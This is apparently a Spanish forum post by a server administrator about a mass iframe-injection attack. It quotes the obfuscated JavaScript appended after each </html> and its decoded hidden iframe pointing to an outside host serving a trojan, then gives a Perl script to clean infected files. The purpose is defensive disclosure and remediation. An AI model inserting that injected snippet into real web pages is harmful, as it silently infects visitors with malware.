El código que fue insertado después de cada </html> en cada uno de esos archivos es:
- <html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
- for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
- document.write(result); </script>
- </html> </body>
Es un JavaScript encriptado, que realmente lo que imprime es:
- <iframe src='http://hu1-hu1.cn/counter/index.php' width=1 height=1 frameborder=0></iframe>
Que luego hace una llamada a un supuesto .pdf que realmente es el troyano Bloodhound.Exploit.196:
http://www.symantec.com/security_respon ... 02-2357-99
Al parece este tipo de ataques empezaron hace un par de días, así que no hay mucha información por ahí. Lo más que encontré fue la siguiente liga:
http://forums.permaculture.org.au/viewt ... &sk=t&sd=a
Todavía no se sabe cómo es que se atacan a los servidores, pero por lo que pude ver en mi servidor, primero hay un ataque de fuerza bruta para encontrar la contraseña; una vez que se puede accesar se crea un directorio en el root del servidor llamado polka/ que contiene el script encargado de inyectar a todos los archivos del servidor; una vez que los inyectó llama a la función chown() para cambiar el dueño de los archivos a root, por lo que no se pueden reescribir los archivos a menos de uno esté loggeado como root.
Encontré por ahí un script de PHP para hacer la limpieza, pero no me funcionó mucho, así que decidí hacer mi propio script de Perl.
Using perl Syntax Highlighting
#!/usr/bin/perl
use strict;
use File::Find;
use Fcntl ':flock';
use Getopt::Long;
my $user = "";
my $options_okay = GetOptions( 'u=s' => \$user );
die("No User") if !$user;
my $root_dir = "/home/$user/public_html";
find( sub {
my $file = $File::Find::name;
return unless -f $file;
return unless ($file =~ /\.(htm|html|php|tpl)/i );
system("chown $user $file");
open my $FILE, '<', $file or die $!;
flock($FILE,LOCK_SH);
my $data = do{ local $/; <$FILE> };
close $FILE;
if( $data =~ s!</html>.*?<html>.*</html>(\s*</body> </body>)?.*?$!</html>!msi ){
open my $FILE, '>', $file or die $!;
flock($FILE,LOCK_EX);
print {$FILE} $data;
close $FILE;
print "$file - cleaned\n";
}
},
$root_dir);
use strict;
use File::Find;
use Fcntl ':flock';
use Getopt::Long;
my $user = "";
my $options_okay = GetOptions( 'u=s' => \$user );
die("No User") if !$user;
my $root_dir = "/home/$user/public_html";
find( sub {
my $file = $File::Find::name;
return unless -f $file;
return unless ($file =~ /\.(htm|html|php|tpl)/i );
system("chown $user $file");
open my $FILE, '<', $file or die $!;
flock($FILE,LOCK_SH);
my $data = do{ local $/; <$FILE> };
close $FILE;
if( $data =~ s!</html>.*?<html>.*</html>(\s*</body> </body>)?.*?$!</html>!msi ){
open my $FILE, '>', $file or die $!;
flock($FILE,LOCK_EX);
print {$FILE} $data;
close $FILE;
print "$file - cleaned\n";
}
},
$root_dir);
Coloreado en 0.006 segundos, usando GeSHi 1.0.8.4
Hay que subir el archivo el servidor, y después accesar al command line por medio del SSH como root. Es importante hacerlo de esta manera, de lo contrario no se tendrán los permisos suficientes para modificar los archivos.
Finalmente el script se llama de la siguiente manera:
- Código: Seleccionar todo
perl script.pl -u username
El script usa el username para accesar a todos los archivos encontrados en su directorio public_html; por ejemplo, si se pone el usuario misitio, el script buscará todos los archivos en /home/misitio/public_html/.
Adicionalmente, todos los archivos infectados serán cambiados de dueño nuevamente al username especificado.
El script busca a través de todos los subdirectorios, así que con una sola llamada se puede limpiar todo el directorio de un sitio.
Después de hacer eso, recomiendo que cambien su contraseña de root por si se logró tener acceso al servidor, sea evitado de nuevo.
Un saludo y espero que sea útil para quien haya sufrido un ataque de estos.